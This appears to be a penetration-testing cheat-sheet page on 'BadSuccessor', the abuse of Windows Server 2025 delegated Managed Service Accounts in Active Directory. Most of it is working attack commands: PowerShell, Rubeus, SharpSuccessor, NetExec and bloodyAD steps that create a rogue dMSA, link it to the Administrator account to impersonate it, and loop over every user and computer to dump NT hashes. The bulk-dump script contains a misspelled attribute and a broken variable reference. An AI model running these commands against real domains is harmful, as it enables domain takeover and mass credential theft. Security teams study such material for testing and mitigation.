pwd-read-dmsa.md (5214B)
1 --- 2 title: "Password - dMSA" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/pwd-read-dmsa.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/pwd-read-dmsa.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Password - dMSA 12 13 Delegated Managed Service Accounts (dMSAs) 14 15 ## BadSuccessor 16 17 **Requirements**: 18 19 * Windows Server 2025 Domain Controller 20 * Permission on any organizational unit (OU) in the domain 21 22 **Tools**: 23 24 * [akamai/BadSuccessor/Get-BadSuccessorOUPermissions.ps1](https://github.com/akamai/BadSuccessor) 25 * [LuemmelSec/Pentest-Tools-Collection/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) 26 * [GhostPack/Rubeus PR #194](https://github.com/GhostPack/Rubeus/pull/194) 27 * [CravateRouge/bloodyAD Commit #210f735](https://github.com/CravateRouge/bloodyAD/commit/210f735474a403dd64b218b84e98a27e157e7ed3) 28 * [skelsec/minikerberos/getDmsa.py](https://github.com/skelsec/minikerberos/blob/main/minikerberos/examples/getDmsa.py) 29 * [logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor) 30 31 ```ps1 32 SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA 33 ``` 34 35 * [Pennyw0rth/NetExec PR #702](https://github.com/Pennyw0rth/NetExec/pull/702/commits/e75512a93cde0c893505fd806e169a2aa7a683db) 36 37 ```ps1 38 poetry run netexec ldap 10.10.10.10 -u administrator -p Passw0rd -M badsuccessor 39 ``` 40 41  42 43 **Manual Exploitation**: 44 45 * Verify if the DC is a Server 2025 46 47 ```ps1 48 ldapsearch "(&(objectClass=computer)(primaryGroupID=516))" dn,name,operatingsystem 49 50 # BloodHound Query 51 MATCH (c:Computer) 52 WHERE c.isdc = true AND c.operatingsystem CONTAINS "2025" 53 RETURN c.name 54 ``` 55 56 * Create unfunctional dMSA 57 58 ```ps1 59 New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test" 60 ``` 61 62 * Edit `msDS-ManagedAccountPrecededByLink` and `msDS-DelegatedMSAState` values 63 64 ```ps1 65 # msDS-ManagedAccountPrecededByLink, targeted user or computer 66 # msDS-DelegatedMSAState=2, completed migration 67 $dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=temp,DC=aka,DC=test" 68 $dMSA.Put("msDS-DelegatedMSAState", 2) 69 $dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test") 70 $dMSA.SetInfo() 71 ``` 72 73 * dMSA authentication with Rubeus 74 75 ```ps1 76 Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT> 77 ``` 78 79 ## Credential Dumping 80 81 > When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys. - Akamai Blog Post 82 83 The previous-keys field contains the RC4-HMAC of the password (NT Hash). 84 85 ```ps1 86 .\Invoke-BadSuccessorKeysDump.ps1 -OU 'OU=temp,DC=aka,DC=test' 87 ``` 88 89 * [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) 90 91 ```ps1 92 $domain = Get-ADDomain 93 $dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)" 94 $allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, SAMAccountName) 95 $allDNs | % { 96 Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecendedByLink" = $_.DN } 97 $res = Invoke-Rubeus asktgs /targeteduser:mydmsa$ /service:"krbtgt/$(domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi 98 $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value 99 "$($_.sAMAccountName):$rc4" 100 } 101 ``` 102 103 * [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD) 104 105 ```ps1 106 python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' get writable --otype OU 107 python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' add badSuccessor dmsADM10 108 ``` 109 110 * [snovvcrash/dMSASync.py](https://gist.github.com/snovvcrash/a1ae180ab3b49acb43da8fd34e7e93df) 111 112 ```ps1 113 getTGT.py 'kerberos+aes://contoso.local\user:AES_KEY@DC_IP' --ccache user.ccache 114 dMSASync.py 'contoso.local\user:user.ccache@DC01.contoso.local/?dc=DC_IP' 'CN=dmsa,CN=Managed Service Accounts,DC=contoso,DC=local' 115 ``` 116 117 ## References 118 119 * [BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory - Yuval Gordon - May 21, 2025](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory) 120 * [Operationalizing the BadSuccessor: Abusing dMSA for Domain Privilege Escalation - Arun Nair - May 23, 2025](https://medium.com/seercurity-spotlight/operationalizing-the-badsuccessor-abusing-dmsa-for-domain-privilege-escalation-429cefc36187) 121 * [Understanding & Mitigating BadSuccessor - Jim Sykora - May 27 2025](https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/)